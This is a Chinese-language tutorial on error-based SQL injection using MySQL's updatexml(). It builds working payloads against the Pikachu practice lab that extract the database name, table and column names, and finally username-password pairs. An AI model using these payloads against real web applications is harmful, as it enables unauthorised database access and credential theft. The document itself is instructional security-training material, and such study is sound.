首頁 > 軟體

詳解SQL報錯盲注

2022-07-22 18:00:53

今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL報錯盲注詳解。

免責宣告:
本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重後果自負!
再次強調:嚴禁對未授權裝置進行滲透測試!

一、SQL報錯函數詳解

updatexml();floor();extractvalue();等函數都可以用於構造SQL報錯函數,今天我們主要來講解使用updatexml()函數。
updatexml()函數使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML檔名稱,XPath_string是XPath格式的字串,new_value是String格式的而字串,用於替換查詢到的符合條件的資料。
該函數有一個特性,即如果XPath_string不是XPath格式的字串,就會報錯並顯示處XPath的值,因此,我們可以利用這一特性實現SQL報錯盲注。此外,我們還可以利用updatexml()函數的特性,實現在SQL插入、刪除等語句中的SQL隱碼攻擊。

二、SQL報錯盲注payload構造

1、updatexml語句構造思路

updatexml()函數的構造,首先需要閉合SQL語句中的冒號、括號。其次還需要使用and或者or語句連線成一個單獨的語句,這樣即可成功執行updatexml()函數中的語句。
下面,我以皮卡丘靶場為例,來簡單介紹一下updatexml報錯注入payload的構造思路,皮卡丘靶場SQL insert/update型注入頁面如下所示:

從上圖中可以看出,該頁面功能上是提供人員的註冊,因此可以猜測其內部是insert型別的SQL語句,因此我們可以在手機、住址等列(一般不要選擇密碼,因為很多網站都會把密碼進行md5處理,從而導致我們的updatexml失效)中插入我們的updatexml語句。通過簡單的實驗可以得知,該站點的注入閉合為單引號,因此payload的構造格式為:

12' or updatexml() or'

2、查詢當前資料庫

當我們確定updatexml()函數的格式後,我們就可以寫實際的payload語句了,相關命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

從上payload可以看出,updatexml()函數有三部分組成,我們需要把我們要執行的SQL語句寫到第二部分,第二部分是一個concat()函數,之所以要拼接0x7e是因為該16進位制字元是一個波浪線,也可以換成其他的字元。
該payload執行結果如下所示:

從上圖可以看出,我們當前的資料庫名為pikachu。

3、查詢表名

查詢表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中間的SQL語句要用括號括起來,然後寫入正常的查詢命令即可,該payload執行結果如下所示:

從上圖可以看出,我們查詢到當前資料庫存在一個名為httpinfo的表,如果我們更改limit的限制,那麼我們可以得到更多的表。

4、查詢列名

查詢列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

該payload構造原理與以上類似,執行結果如下所示:

5、查詢欄位名

欄位名查詢的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

該payload構造原理與以上類似,執行結果如下所示:

6、查詢資料

資料查詢的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

該payload構造原理與以上類似,執行結果如下所示:

到此這篇關於SQL報錯盲注詳解的文章就介紹到這了,更多相關SQL報錯盲注內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com